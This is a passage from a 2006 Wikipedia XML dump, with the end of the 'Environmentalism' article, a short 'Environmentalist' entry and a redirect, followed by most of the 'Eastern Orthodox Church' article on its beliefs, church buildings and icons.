Early [[environmentalist]]s encouraged emulation of [[indigenous peoples]] and enriching the natural ecology with slow patient effort - Chapman alone planted millions of apple trees throughout the United States.  The movement had little or no explicit political character.  It was mostly aesthetic.  It had no central doctrine.  Most of its proponents did not know each other, but created a powerful discourse that influenced people strongly at the time.

Many historians point to the important philosophical and activist roles played by [[John Muir]] in the late nineteenth and early twentieth century.  In [[1892]], Muir was the leader in the founding of the [[Sierra Club]].  As well, [[forester]] and [[ecologist]] [[Aldo Leopold]] both founded the [[Wilderness Society]] in 1935, and wrote a classic of nature observation and ethical philosophy, ''[[A Sand County Almanac]]'', [[1949 in literature|published in 1949]]. 

Several books after the middle of the twentieth century contributed to the rise of American environmentalism (as distinct from the longer-established conservation movement), especially among college and university students and the more literate public.  One was the publication of the first textbook on [[ecology]], ''[[Fundamentals of Ecology]],'' by [[Eugene Odum]] and [[Howard Odum]], in [[1953]].  Another was the appearance of the best-seller ''[[Silent Spring]]'' by [[Rachel Carson]], in [[1962]]. Her book brought about a whole new interpretation on pesticides by exposing their hamful effects in nature. From this book many began referring to Carson as the &quot;mother of the environmental movement&quot;.  Another influential development was a 1965 lawsuit, Scenic Hudson Preservation Conference v. Federal Power Commission, opposing the construction of a power plant on [[Storm King Mountain]], which is said to have given birth to modern [[United States environmental law]].   The wide popularity of ''The [[Whole Earth Catalog]]s'', starting in [[1968]], was quite influential among the younger, hands-on, activist generation of the [[1960s]] and [[1970s]]. Recently, in addition to opposing environmental degradation and protecting wilderness, an increased focus on coexisting with natural biodiversity has appeared, a strain that is apparent in the movement for [[sustainable agriculture]] and in the concept of [[Reconciliation Ecology]].

== Environmentalism and Politics ==
Environmentalists first became influential in American politics after [[Earth Day]], [[April 22]], [[1970]]. Their activism directly led to the creation of numerous U.S. environmental laws, starting with the [[Clean Air Act]] and [[Clean Water Act]] and the formation of the US Environmental Protection Agency, or [[Environmental Protection Agency|EPA]] in [[1970]].  These successes were followed by the enactment of a whole series of laws regulating [[waste]] ([[Resource Conservation and Recovery Act]]), [[Toxin|toxic substances]] ([[Toxic Substances Control Act]]), [[pesticides]] (FIFRA: [[Federal Insecticide, Fungicide, and Rodenticide Act]]), clean-up of polluted sites ([[Superfund]]), protection of [[endangered species]] ([[Endangered Species Act]]), and more.

Fewer environmental laws have been passed in the last decade as corporations and other [[conservative]] interests have increased their influence over [[Politics of the United States|American politics]].  Corporate cooperation against environmental lobbyists has been organized by the [[Wise use|Wise Use]] group. At the same time, many environmentalists have been turning toward other means of persuasion, such as working with business, community, and other partners to promote [[sustainable development]].

Much environmental activism is directed towards [[conservation movement|conservation]], as well as the prevention or elimination of pollution. However, [[conservation movement]]s, [[ecology movement]]s, [[peace movement]]s, [[green parties]], [[green anarchism|green-]] and [[eco-anarchism|eco-anarchists]] often subscribe to very different ideologies, while supporting the same goals as those who call themselves “environmentalists”.  To outsiders, these groups or factions can appear to be indistinguishable.

As [[World population|human population]] and industrial activity continue to increase, environmentalists often find themselves in serious conflict with those who believe that human and industrial activities should not be overly regulated or restricted, such as some [[libertarian]]s.

Environmentalists often clash with others, particularly “corporate interests,” over issues of the management of [[natural resources]], like in the case of the [[Earth's atmosphere|atmosphere]] as a “carbon dump”, the focus of [[climate change]], and [[global warming]] controversy.  They usually seek to protect commonly owned or unowned resources for future generations.

Those who take issue with new untested technologies are more precisely known, especially in [[Europe]], as [[political ecologist]]s.  They usually seek, in contrast, to preserve the integrity of existing ecologies and ecoregions, and in general are more pessimistic about human “management”.

=== &quot;Post-Environmentalism&quot; ===
In [[2004]], with the presidency and both houses of congress of the [[United States]] government controlled the [[Republican Party (United States)|Republican Party]]&amp;mdash;generally seen by environmentalists as more friendly to big business than to environmentalism&amp;mdash;some environmentalists started questioning whether &quot;environmentalism&quot; was even a useful political framework.  According to a controversial essay titled &quot;The Death of Environmentalism&quot; ([[Michael Shellenberger]] and [[Ted Nordhaus]], 2004) American environmentalism has been remarkably successful in protecting the air, water, and large stretches of wilderness in [[North America]] and Europe, but these environmentalists have stagnated as a vital force for cultural and political change. 

Shellenberger and Nordhaus wrote, &quot;Today environmentalism is just another special interest. Evidence for this can be found in its concepts, its proposals, and its reasoning. What stands out is how arbitrary environmental leaders are about what gets counted and what doesn't as 'environmental.' Most of the movement's leading thinkers, funders, and advocates do not question their most basic assumptions about who we are, what we stand for, and what it is that we should be doing.&quot; Their essay was followed by a speech in San Francisco called &quot;Is Environmentalism Dead?&quot; by former Sierra Club President, Adam Werbach, who argued for the evolution of environmentalism into a more expansive, relevant and powerful progressive politics.

These &quot;post-environmental movement&quot; thinkers argue that the ecological crises the human species faces in the 21st century are qualitatively different from the problems the environmental movement was created to address in the 1960s and 1970s. Climate change and habitat destruction, they argue, are global, more complex, and demand far deeper transformations of the economy, the culture and political life. The consequence of environmentalism's outdated and arbitrary definition, they argue, is political irrelevancy.

=== Radical Environmentalism ===
While most environmentalists are mainstream and peaceful, a small minority are more radical in their approach. Various extreme ideologies of [[radical environmentalism]], and several ecology-based theories of [[anarchism|anarchy]] (known as (small-g) [[green anarchism]], i.e. [[eco-terrorism]]) are cited to justify equipment [[sabotage]], [[logging]], [[Fishing industry|fishing]] [[blockade]]s, and [[arson]], such as burning of houses impinging on a perceived &quot;natural ecology.&quot;  Environmentalists differ in their views of these ideologies and groups, but almost all condemn [[Violence|violent]] actions that can harm [[humans]].  Some tolerate the destruction of property not essential to sustaining or saving human life.  The most extreme often claim to view themselves as part of nature, simply acting to protect itself from man.

== See also ==
*[[Environmental movement]]
*[[Environmental skepticism]]
*[[Environmentalism (Critique of George W. Bush's politics)]]
*[[Environmentalist wacko, Econazi and Ecoterrorist]]
*[[Forestry]]
*[[Free-market environmentalism]]
*[[Political ecology]]
*[[Pollution]]
*[[Radical environmentalism]]

==External links==
* [http://grist.org/ Grist Magazine] - Environmental news, analysis, and humor
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv2-13 ''Dictionary of the History of Ideas'':] Environment
*[http://www.foei.org Friends of the Earth - International] - a network of environmental organisations including [http://www.foe.org Friends of the Earth - US] and [http://www.foe.org.uk Friends of the Earth - England, Wales, and Northern Ireland]
*[http://www.moveleft.com/moveleft_subject_submit_environment.html MoveLeft Media's environmental articles]
*[http://www.earth.columbia.edu/sop2004/ State of the Planet 2004 Conference]
*[http://www.activistmagazine.com  ACTivist Magazine - a magazine for peace, ecology and human rights]
*[http://samvak.tripod.com/nature.html The philosophy and economics of environmentalism]
*[http://www.takesomeaction.co.uk A website for endangered wildlife and environmental issues]
*[http://environment.harvard.edu/religion/main.html Essays on environmental teachings of major religions]
*[http://www.islamfrominside.com/Pages/Articles/Ecology%20Environment%20and%20Islam.html Environment and Ecology - an Islamic perspective]

[[Category:American environment]]</text>
    </revision>
  </page>
  <page>
    <title>Environmentalist</title>
    <id>10184</id>
    <revision>
      <id>42161735</id>
      <timestamp>2006-03-04T05:46:28Z</timestamp>
      <contributor>
        <username>Djm21589</username>
        <id>1026952</id>
      </contributor>
      <text xml:space="preserve">An '''environmentalist''' is a person or a group that supports any goal of the [[environmental movement]], an information-based perspective on appropriate use of technology to prevent adverse effects on the environment. Most politically inclined environmentalists identify themselves as [[greens]] and they have strong views on issues that concern the environment. The [[Worldwide green parties|Green Parties]] are generally applied to those in the [[environmental movement]] working as volunteers, activists or paid staff. However, the term could also be applied to [[environmental science|environmental scientists]]. Some environmentalists are also [[green anarchism|green anarchists]], arguing that true environmental change cannot occur under the present economic model.

Typically, environmentalists have [[conservationist]] views - in general, they advocate for the [[preservation]], restoration, or enhancement of the [[natural environment]]. 

[[Eco-defense]] is a phrase used to describe the act of [[violence]], [[sabotage]], [[vandalism]], property damage and intimidation both against people and against property committed in the name of environmentalism. Eco-terrorism are things done to the environment that have negative reprocussions to the environment. this phrase has been twisted and is now often used to describe Eco-defenders.

Environmentalists are sometimes given names in a derogatory context such as [[Watermelon#Watermeltermon_connotations|watermelon]], [[tree hugger]] or [[greeny]] (greenie). 

==See also==
*[[Environmentalism]]
*[[Environmental movement]]
*[[:Category:Environmentalists|List of Environmentalists]]
*[[Conservationist]]
**[[Conservation movement]]
**[[Conservation ethic]]
**[[Ecology movement]]

[[Category:Environmentalists|*]]</text>
    </revision>
  </page>
  <page>
    <title>Environmentalists</title>
    <id>10185</id>
    <revision>
      <id>15908015</id>
      <timestamp>2005-05-29T23:48:20Z</timestamp>
      <contributor>
        <username>Alan Liefting</username>
        <id>36352</id>
      </contributor>
      <minor />
      <comment>more appropriate redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Environmentalist]]</text>
    </revision>
  </page>
  <page>
    <title>Eastern Orthodox Church</title>
    <id>10186</id>
    <revision>
      <id>42113584</id>
      <timestamp>2006-03-03T22:33:12Z</timestamp>
      <contributor>
        <ip>80.74.170.106</ip>
      </contributor>
      <comment>/* Church buildings */</comment>
      <text xml:space="preserve">[[Image:Vladimirskaya.jpg|thumb|150px| The [[Vladimir]] [[Icon]], one of the most venerated of Orthodox Christian icons of the [[Virgin Mary]].]]
The '''Eastern Orthodox Church''' (encompassing national Orthodox jurisdictions such as [[Church of Greece|Greek Orthodox]], [[Russian Orthodox]], etc.&amp;mdash;see [[Eastern Orthodox Church organization]]) is a body of [[Christianity|Christians]] that claims origins extending directly back to [[Jesus]] and his [[Twelve Apostles|Apostle]]s through unbroken [[Apostolic Succession]]. Its doctrines were formalized through a series of church councils, the most authoritative being the [[Ecumenical_Council#Councils_.231_to_.237|Seven Ecumenical Councils]] held between the [[4th century|4th]] and [[8th century|8th]] centuries. These councils were convened out of the necessity to resolve conflicts that had developed concerning beliefs such as [[Arianism]], [[Nestorianism]], and [[Monothelitism]]. Toward the end of its first thousand years of existence, differences developed between the Church in the [[Byzantine Empire|Eastern]] and [[Western Roman Empire]] that ultimately led to the [[East-West Schism|Great Schism]] in [[1054]], dividing [[Chalcedonian]] [[Christianity]] into [[Roman Catholicism|Western Catholicism]] and Eastern Orthodoxy. 

Based on numbers of adherents, Eastern Orthodoxy is the second largest Christian communion in the world after the [[Roman Catholic Church]], and the third largest grouping overall after [[Protestantism]].

The present-day influence of the Eastern Orthodox Church encompasses the territories associated with the former Byzantine and [[Russian Empire|Russian]] empires: [[Eastern Europe]], Asia ([[Russia]]/[[Siberia]]), and parts of the [[Middle East]] and [[Africa]]. Today, although Eastern Orthodoxy's strongest influence can be seen in [[Greece]], [[Russia]], [[Ukraine]], [[Belarus]], [[Serbia and Montenegro]], former Yugoslav [[Republic of Macedonia]]{{ref|Macedoniafootnote}}, [[Romania]], [[Republic of Moldova]], [[Bulgaria]], and [[Georgia (country)|Georgia]], the Orthodox Church has a presence in a great many other countries largely because of the [[emigration]] of Eastern Orthodox peoples, with large communities in the [[United States|USA]], [[Canada]] and [[Australia]].

In the remainder of this article, for convenience of reference, the expressions &quot;Orthodox&quot; and &quot;the Church&quot; refer to &quot;Eastern Orthodox&quot; unless the context indicates otherwise.

==Beliefs==
===The Trinity=== 
Orthodox Christians believe in a single God who is both three and one (triune): Father, Son, and Holy Spirit, &quot;one in essence and undivided&quot;.  The Holy [[Trinity]] is three &quot;unconfused&quot; distinct divine persons (''[[hypostasis|hypostases]]''), with no overlap or [[modalism|modality]] among them, who share one divine [[essence]] (''ousia'')&amp;mdash;uncreated, immaterial and [[eternity|eternal]]. In discussing God's relationship to his creation a distinction is made between God's eternal essence and ''uncreated energies'', though it is understood that this distinction is artificial and that there is no real separation in God. Energies and essence are both inseparably God. This distinction is used by theologians to explain how it is that God can be both transcendent (His &quot;essence&quot; lies outside and infinitely distant from his creation), while at the same time he can touch his creation (His &quot;uncreated energies&quot; interact with His creation). It is also in His energies that we can perceive the three distinct persons of the Trinity.

The Father is the eternal source of the Godhead, from Whom the Son is begotten eternally and also from Whom the Holy Spirit proceeds eternally.  Orthodox doctrine regarding the Holy Trinity is summarized in the Symbol of Faith ([[Nicene Creed|Nicene-Constantinopolitan Creed]]).

===Salvation===
[[Image:Last Judgment icon.jpg|frame|right|16th c. Russian [[icon]] of the Last Judgment]]
Orthodox Christians hold that man was originally created in perfect communion with God, but through his own actions he turned away from God and sinned (&quot;missed the mark&quot;).  Because of man's refusal to fulfill the &quot;image and likeness of God&quot; within him, corruption and the sickness of sin whose consequence is death entered man's nature.  But when Jesus came into the world He Himself was Perfect Man and Perfect God united. Through his participation in humanity, human nature was re-created, allowing human beings to participate in the divine nature.

&quot;The Word of God came in His own Person, because it was He alone, the Image of the Father, Who could recreate man made after the Image.  In order to effect this re-creation, however, He had first to do away with death and corruption.  Therefore He assumed a human body, in order that in it death might once for all be destroyed, and that men might be renewed according to the Image [of God].&quot;  [[St. Athanasius]], ''On the Incarnation''

Salvation, or &quot;being saved,&quot; therefore, refers to this process of being saved from the state of separation from God. It is a distinct concept separate from the concept of &quot;going to heaven.&quot;  The Orthodox Church refuses to comment on the state of those outside the Church, choosing to hope in the Mercy of God; however, it is believed that the best and most complete path to participation in the gifts of God is found in the Orthodox Church alone.

The Orthodox believe that there is nothing that a person can do to earn entrance into Heaven. It is rather a gift from God, who wants nothing more than to restore the original relationship with mankind.  However, this gift of relationship has to be accepted by the believer, since God will not force Heaven on humanity.  Man is free to reject the gift of salvation continually offered by God.

&quot;God becomes powerless before human freedom; He cannot violate it since it flows from His own omnipotence.  Certainly man was created by the will of God alone; but he cannot be deified [made Holy] by it alone.  A single will for creation, but two for deification.  A single will to raise up the image, but two to make the image into a likeness.  The love of God for man is so great that it cannot constrain; for there is no love without respect.  Divine will always will submit itself to gropings, to detours, even to revolts of human will to bring it to a free consent.&quot;  [[Vladimir Lossky]], ''Orthodox Theology: An Introduction''

The ultimate goal of the Orthodox Christian is to achieve ''[[theosis]]'', or Union with God. This is sometimes expressed thus: &quot;God became Man so that Man might become God.&quot;  Some of the greatest saints have achieved, in this life, a measure of this process. Of course, the individual who achieves theosis never realizes his accomplishment, as his perfect humility keeps him blind to pride.  Salvation therefore is not merely an escape from the eternal bondage of death, but an entrance to life in Christ here and now.

===Tradition===
Orthodox consider the Bible to be the central part of &quot;[[Tradition]]&quot;, but not the only part in contrast to [[Protestantism]], which generally relies upon the [[Bible]] as the sole, ultimate doctrinal authority (''[[sola scriptura]]''). Tradition also includes the [[Nicene Creed|Creed]], the decrees of the Seven [[Ecumenical Councils]], the writings the &quot;[[Church Fathers]]&quot;, as well as Orthodox laws ([[Canon law|canons]]), liturgical books and [[icon]]s, etc.  In defense of extrabiblical tradition, the Orthodox Church quotes Paul:  &quot;Therefore, brethren, stand fast, and hold the traditions which ye have been taught, whether by our spoken word, or by our epistle.&quot; ([[2 Thessalonians]] 2:15).  The Orthodox Church also believes that the [[Holy Spirit]] works through history to reveal truth to the Church, and that He weeds out falsehood in order that the Truth may grow.

===The Bible===
In Orthodoxy the Bible is not always interpreted with &quot;wooden literalism&quot;. In Orthodoxy, the true believer accepts what is written in The Bible, and never doubts it, but the attitude of Eastern Orthodox toward various details varies, for example concerning the [[Theory of Evolution]]. While many Orthodox do not consider this theory to be necessarily problematic in and of itself, its [[Naturalism|naturalist]] implications clearly contradict the Orthodox Christian belief that ultimately, God created the Universe, regardless of the means used.

Orthodoxy interprets truth based on three witness; the consensus of the Holy Fathers and Mothers of the Church; the ongoing teaching of the Holy Spirit guiding the life of the Church through the nous, or mind of the Church, which is believed to be the Mind of Christ; but also in typography, hymnology and iconography. The consensus of the Church over time defines its catholicity&amp;mdash;that which is believed at all times by the entire Church. Those who disagreed with what came to be considered the consensus are not accepted as authentic &quot;Fathers.&quot;  All theological concepts must be in agreement with that consensus. Even those considered to be authentic &quot;Fathers&quot; may have some theological opinions that are not universally shared, but are not actually heretical. Thus an Orthodox Christian is not bound to agree with every opinion of every Father, but rather with the overall consensus of the Fathers, and then only on those matters about which the church is dogmatic. [[Image:Vologda_Churches.jpg|thumb|300px|right|Orthodox churches in [[Vologda]], Russia]]

Eastern Orthodox theologians tended to rely more on Greek philosophers than did the West, often borrowing the categories and vocabulary of [[Neoplatonism]] to explain Christian doctrine, though not necessarily accepting all their theories. Some later non-Christian neoplatonist philosophers also borrowed some vocabulary from Christian theologians.

===Sin and redemption===
Generally speaking, the Orthodox tradition is uncomfortable with any practice which interprets doctrine in &quot;legalistic&quot; terms. Following rules strictly without the heart &quot;being in it&quot; does not help a believer with his salvation. [[Sin]] is not about breaking some set of rules; rather, it is the name for any behavior which &quot;misses the mark,&quot; that is, moves a believer away from God rather than closer to Him.

Thus, in the Orthodox tradition sin is not viewed as a stain on the soul that needs to be wiped out, but rather as an illness that needs healing. Just like a bodily illness, human sinfulness needs individual attention and correction. The ultimate goal for this process is not to win back God's favor, but rather to get back on the path towards God. 

A traditional practice of Orthodox is to have a spiritual father (or mother) to whom one [[Confession|confesses]] and who treats the sin on an individual basis. An experienced spiritual father will know how and when to apply strictness in dealing with sin and when to administer mercy.

====Original Sin====
To place the term Original sin in context: God created man perfect with free will and gave man a direction to follow. Man chose rather to disobey God, thus changing the &quot;perfect&quot; nature of man to the &quot;flawed&quot; nature of man. This flawed nature and all that has come from it is a result of that '''Original Sin'''. Because we participate in humanity, we share in the sin of Adam because like him, we are human. This &quot;change of nature&quot; in humanity is the reason Christ God united his divine nature to man, in order to alter human nature and thus save man from Hell. All humans participate in human nature including the Virgin Mary (which is why the Orthodox Church rejects the [[Immaculate conception]]). Original sin is cleansed in humans through baptism or, in the case of the Theotokos, the moment Christ took form within her.

===The Incarnation===
Prior to Christ's incarnation on Earth it was man's &quot;fate&quot;, when he died, because of the fall of Adam, to be separated from God. Because man introduced something alien to his nature by participation in evil through disobedience to God, mankind placed itself in a terrible and inescapable position. The answer to this problem was for God to raise man's fallen nature, to unite his divine nature with our human nature. This he accomplished through the [[incarnation]], becoming man and yet remaining God. This is why Christ Jesus is referred to as the ''Logos'', the solution to man's problem (one of the several meanings of ''Logos''). It is absolutely fundamental for Orthodox Christians that one accept Christ as both God and Man, both natures complete. This is the only means whereby we could escape the fate of hell. The incarnation changes mankind itself, uniting it to the divine. And now, because of that Incarnation, everything is different. St Basil states: &quot;We are to strive to become little gods, within God, little jesus christs within Jesus Christ&quot;. In other words, we must seek perfection in all things in our lives; we must strive to acquire Godly virtue. God, through participation in mankind, makes it possible for man to participate in divinity. While it is true that we will not become &quot;separate&quot; gods in the pagan sense we will participate in the divine energies of God (which are not separate from God) and still retain our individuality.

===The Theotokos===
A great many traditions revolve around the Ever-Virgin [[Mary, the mother of Jesus|Mary]], the Theotokos, the Birth-giver of God, which are theologically paramount. It is believed by Orthodox Christians that she was and remained a Virgin before and after Christ's birth. Many of the Church's beliefs concerning the Virgin Mary are reflected in the [[apocrypha]]l text &quot;The Nativity of Mary&quot;, which was not included in scripture, but is considered to be accurate in its description of events. The child Mary was consecrated at the age of three to serve in the temple as a temple virgin. Zachariah, at that time [[Kohen|High Priest]] of the Temple, did the unthinkable and carried Mary into the Holy of Holies as a sign of her importance – that she herself would become the ark in which God would take form. At the age of twelve she was required to give up her position and marry, but she desired to remain forever a virgin in dedication to God. And so it was decided to marry her to a close relative, [[Saint Joseph|Joseph]], an uncle or cousin, an older man, a widower, who would take care of her and allow her to retain her virginity. And so it was that when the time came she submitted to God’s will and allowed the Christ to take form within her. It is believed that she, in her life, committed no sin; however, the Orthodox do not accept the [[Roman Catholic]] doctrine of the  [[Immaculate conception]]. The Theotokos was subject to [[original sin]] as the Orthodox understand it, yet she lived her life without sinning, stainless and pure. In the theology of the Orthodox Church, it is most important to understand that Christ, from the very moment of conception, was 100% God and 100% man. Therefore Orthodox Christians believe that it is correct to say that Mary is indeed the Theotokos, the Birth-giver of God, and that she is the greatest of all humans ever to have lived. This term has tremendous theological significance to Orthodox Christians, as it was at the center of the [[Christological]] debates of the 4th and 5th centuries AD. After her great role was accomplished, the Church believes she remained a virgin, continuing to serve God in all ways. She traveled much with her son, and was present both at his [[Passion]] on the [[Christian Cross|Cross]] and at his [[ascension]] into heaven. It is also believed that she was the first to know of her son's [[Resurrection of Jesus|resurrection]] – the Archangel Gabriel appearing to her once more and revealing it to her. It is believed she lived to the age of seventy and called all the apostles to her before she died. According to tradition [[Thomas (Apostle)|Saint Thomas]] arrived late and was not present at her death. Desiring to kiss her hand one last time he opened her tomb but her body was gone. The Orthodox believe she was assumed into heaven bodily; however, unlike in the Roman Catholic Church, it is not a dogmatic prescription and the holy day is usually referred to as the Feast of the [[Dormition of the Theotokos|Dormition]], not that of the [[Assumption of Mary|Assumption]].

===The Resurrection===
The [[Resurrection of Jesus|Resurrection]] of Christ is the central event in the [[Eastern Orthodox Church calendar|liturgical year]] of the Orthodox Church and is understood in literal terms as a real historical event. Jesus Christ, the Son of God, was crucified and died, descended into [[Hades]], rescued all the souls held there through man's original sin; and then, because Hades could not restrain the infinite God, rose from the dead, thus saving all mankind. Through these events, he released mankind from the bonds of Hades and then came back to the living as man and God. That each individual human may partake of this immortality, which would have been impossible without the Resurrection, is the main promise held out by God in his [[New Covenant]] with mankind, according to Orthodox Christian tradition.

Every holy day of the Orthodox liturgical year relates to the Resurrection directly or indirectly. Every Sunday of the year is dedicated to celebrating the Resurrection; most Orthodox believers will refrain from kneeling or prostrating on Sundays in observance thereof. Even in the liturgical commemorations of the [[Passion of Christ]] during [[Holy Week]], there are frequent allusions to the ultimate victory at its completion.

===Saints, relics, and the deceased===

[[Image:Relics of Saint Demetrius.jpg|thumb|right|200px|Relics of St. Demetrius in Greece]]

In the Eastern Orthodox Church a saint is defined as anyone who is currently in [[Heaven]], whether recognized here on earth or not. By this definition, [[Adam and Eve]], [[Moses]], the various [[prophet]]s, [[martyr]]s for the faith, the [[angel]]s and [[archangel]]s are all given the title of ''Saint''. There is a service in the Orthodox Church in which a saint is formally recognized by the entire Church, called ''glorification''. This does not, however, &quot;make&quot; a saint but simply accords him or her a place on the calendar with regular services in his honor.  Recently, in order to avoid abuses, the [[Ecumenical Patriarchate]] in [[Constantinople]] has begun to follow the longstanding practice of other local Orthodox churches by issuing special encyclical letters (''tomoi'') in which the Church acknowledges the popular veneration of a saint. Glorification usually happens after believers have already begun venerating a saint. There are numerous small local followings of countless saints that have not yet been recognized by the entire Orthodox Church. 

A strong element in favor of glorification can be the perceived &quot;miraculous&quot; condition of physical remains ([[relic]]s), although that alone is not considered sufficient. In some Orthodox countries it is the custom to re-use graves after three to five years due to limited space. Bones are respectfully washed and placed in an [[ossuary]], often with the person's name written on the skull. Occasionally when a body is exhumed something believed to be miraculous occurs to reveal the person's sainthood. There have been numerous occurrences where the exhumed bones are said to suddenly give off a wonderful fragrance, like flowers; or sometimes the body is said to be found [[incorruptibility|incorrupt]] despite having not been embalmed (traditionally the Orthodox do not [[embalm]] the dead) and having been buried for three years. 

For the Orthodox, body and soul both comprise the person, and in the end, body and soul will be reunited; therefore, the body of a saint shares in the holiness of the soul of the saint. 

Because the Orthodox Church shows no true distinction between the living and the dead (believing the saints are alive in Heaven), the Orthodox treat the saints as if they were still here. They venerate them and ask for their prayers, and consider them brothers and sisters in Christ Jesus. Saints are venerated and loved and asked to intercede for salvation, but they are not given the worship accorded to God, because their holiness is believed to come from God. In fact, anyone who worships a saint, [[relic]]s, or [[icon]]s is to be excommunicated. As a general rule only [[clergy]] will touch relics in order to move them or carry them in procession; however, in [[veneration]] the faithful will kiss the relic to show love and respect toward the saint. Every [[altar]] in every Orthodox church contains relics, usually of a [[martyr]]. The Church building interiors are covered with the icons of saints.	

The Orthodox Church sees [[baptism]], both for infants and adults, as the moment one is born into Christ. The person entering the baptismal font is not seen as the same person who emerges, so the person is given a new name, always the name of a saint. As well as birthdays, Orthodox celebrate the day of the saint for whom the person is named (the person's name day).

===The Last Things===
Eastern Orthodox [[theology]] does not consider Heaven to be a static state. Mankind will be restored to a state of perfection in which he retains his individuality and personality, yet he is devoid of all adverse traits which limit his unending progression towards God (i.e. Since God's love and wisdom are infinite, there will be constant progression toward a deeper understanding of that love and wisdom), and this is seen as heavenly bliss. Heaven is the unending sea of God's love in which we are plunged.

Concerning those who have rejected the love and mercy of God, they will likewise be plunged into that endless sea of God's love, but because of their rejection and hatred it will seem to them an unquenchable and eternal fire. In other words, God is love, and his love does not change, and so it is our acceptance or rejection of that love that will bring either heaven or hell upon us.

==Art and architecture==
===Church buildings===
[[Image:Orthodoxchurch.jpg|right|thumb|300px|A 3D Rendering of a Traditional Orthodox Church]]
[[Image:Orthodox-church.jpg|right|thumb|300px|Depiction of a typical Orthodox Church building]]The church building has many symbolic meanings. Perhaps the oldest and most prominent is the concept that the Church is the Ark (as in Noah's) in which the world is saved from the flood of temptations. And so, most Orthodox Churches are rectangular in design. Another popular shape, especially for churches with large choirs is the Cross. Architectural patterns may vary in shape and complexity, with chapels sometimes added around the main church, or triple altars, but in general, the symbolic layout of the church remains the same.

The Church building is divided into three main parts: the narthex (entrance hall), the nave and the sanctuary (also called the ''altar'' or ''holy place'').

'''Narthex:''' The narthex is the connection between the Church and the outside world and for this reason catechumens (pre-baptized Orthodox) and non-Orthodox stand here (note: the tradition of allowing only confirmed Orthodox into the nave of the church has for the most part fallen into disuse). In monastic churches it is usual for the lay people visiting the monastery to stand in the narthex while the monks or nuns stand in the nave. Separating the narthex from the nave are the Royal Doors (from the time of the Byzantine Empire, when the emperor would enter the main body of [[Hagia Sophia]], the Church of holy Wisdom, through these doors and proceed up to the altar to partake of the Eucharist). On either side of this portal are large brass candlestands called ''menalia'' which represent the pillars of fire which went before the hebrews into the promised land.

'''Nave:''' The nave is the main body of the church where the people stand during the services.  In most Orthodox churches there are no pews but rather ''stacidia'' (like a high chair with foldup seat&amp;mdash;it has arm rests high enough to be used while standing&amp;mdash;see the picture of the monks); these were usually found along the walls, to be used only by the aged and infirm. Traditionally there is no sitting during services with the only exceptions being during the reading of the Psalms, and the priest's sermon. The people stand before God. However because of the influence of Roman Catholic and Protestant practices in western countries it is not uncommon to find pews and kneelers in more modern church structures.

[[Image:Hram sv sava.jpg|left|250px|thumb|The [[Temple of Saint Sava|Hram Svetog Save]] or Temple of St. Sava, the world's largest Orthodox church]]
The walls are normally covered from floor to ceiling with icons or wall paintings of saints, their lives, and stories from the Bible. Because the church building is a direct extension of its Jewish roots where men and women stand separately, the Orthodox Church continues this practice, with men standing on the right and women on the left. Because of this arrangement it is emphasized that we are all equal before God (equal distance from the altar), and that the man is not superior to the woman.  In many modern churches this traditional practice has been altered and families stand together.  

Above the nave in the dome of the church is the icon of Christ the Almighty (''Pantokratoros'', &quot;Ruler of All&quot;). Directly hanging below the dome (In more traditional churches) is usually a kind of circular chandelier with depictions of the saints and apostles, called the ''horos'' which represents the Choir of the saints; during certain significant moments of the service, it is swung to symbolically represent the universal participation of the church on earth and the church in heaven. 

'''Iconostasis:''' Traditionally called the ''templon'', it is a screen or wall between the nave and the sanctuary, which is covered with icons.  There will normally be three doors, one in the middle and one on either side.  The central one is traditionally called the ''Beautiful Gate'' and is only used by the clergy. There are times when this gate is closed during the service and a curtain is drawn. The doors on either side are called the ''Deacons' Doors'' or ''Angel Doors'' as they often have depicted on them the Archangels Michael and Gabriel. These doors are used by deacons and servers to enter the sanctuary. Typically, to the left of the Beautiful Gate (as seen from the altar) is the icon of Christ, then the icon of St [[John the Baptist]]; to the right the icon of the [[Theotokos]], always shown holding Christ; and then the icon of the saint to whom the church is dedicated (i.e., the patron).  There are often other icons on the iconostasis but these vary from church to church. Above and behind the iconostasis (if the iconostasis does not reach the ceiling) is the ''Platytera ton Ouranon'' (&quot;more spacious than the heavens&quot;), the icon of Virgin Mary with Christ blessing all. Oil lamps burn before all the icons.

'''Sanctuary:''' The area including the altar table at its center, behind the iconostasis: it is the &quot;Holy of Holies&quot; of the church.  The church, if at all possible, is always aligned with the altar facing East. The priest also faces East when before the holy table (away from the congregation), offering prayers for the people to God and then coming out through the Beautiful Gate to give God's good news (Gospel) to the people.  To the left of the altar table will be the ''Prosthesis'' table (table of preparation) where the bread and wine are prepared for the Eucharist before the Divine Liturgy begins.

===Icons===
[[Image:Orthodox prayer corner.jpg|right|thumb|300px|A fairly elaborate Orthodox Christian prayer corner as would be found in a private home]]Icons are replete with symbolism meant to convey far more meaning than simply the identity of the person depicted, and it is for this reason that Orthodox iconography has become an exacting science of copying older icons rather than an opportunity for artistic expression. The Orthodox believe that the first icons of Christ and the Virgin Mary were painted by [[Luke the Evangelist]]. Orthodox regard their depiction of Christ as accurate, with Christ having brown semi-curly hair, brown eyes, and Semitic features (the Virgin Mary being similar). The personal, idiosyncratic and creative traditions of Western European religious art are largely lacking in Orthodox iconography before the 17th century, when Russian icon painting was strongly influenced by religious paintings and engravings from both Protestant and Catholic Europe. Greek icon painting also began to take on a strong romantic western influence for a period and the difference between some Orthodox icons and western religious art began to vanish. More recently there has been a strong trend of returning to the more traditional and symbolic representations.

Statuary is almost non-existant within the Orthodox Church possibly because it too closely resembles the previous pagan Greek age of idol worship and also because Icons are designed to capture the spiritual aspects of Christ and the Saints, not the material physical human form. Icons are not considered by the Orthodox to be &quot;graven images&quot; or idols. Their useage is justified by the following logic: When the immaterial God was all that we had, no material depiction was possible and therefore blasphemous even to contemplate; however, Biblical prohibitions against material depictions have been altered by Christ (as God) taking on material form thus allowing a material depiction. Also, it is not the wood or paint that are venerated but rather the individual shown.

Large icons can be found adorning the walls of churches and often cover the inside structure completely. Orthodox homes often likewise have icons hanging on the wall, usually together on an eastern facing wall, and in a central location where the family can pray together.
[[Image:fedorovskaya.jpg|left|thumb|Our Lady of St Theodore (10th century), the protectress of [[Kostroma]], following the same Byzantine &quot;Tender Mercy&quot; type]]

Icons are often illuminated with a candle or oil lamp. (Beeswax for candles and olive oil for lamps are preferred because they are natural and burn cleanly.) Besides the practical purpose of making icons visible in an otherwise dark church, both candles and oil lamps symbolize the Light of the World which is Christ.

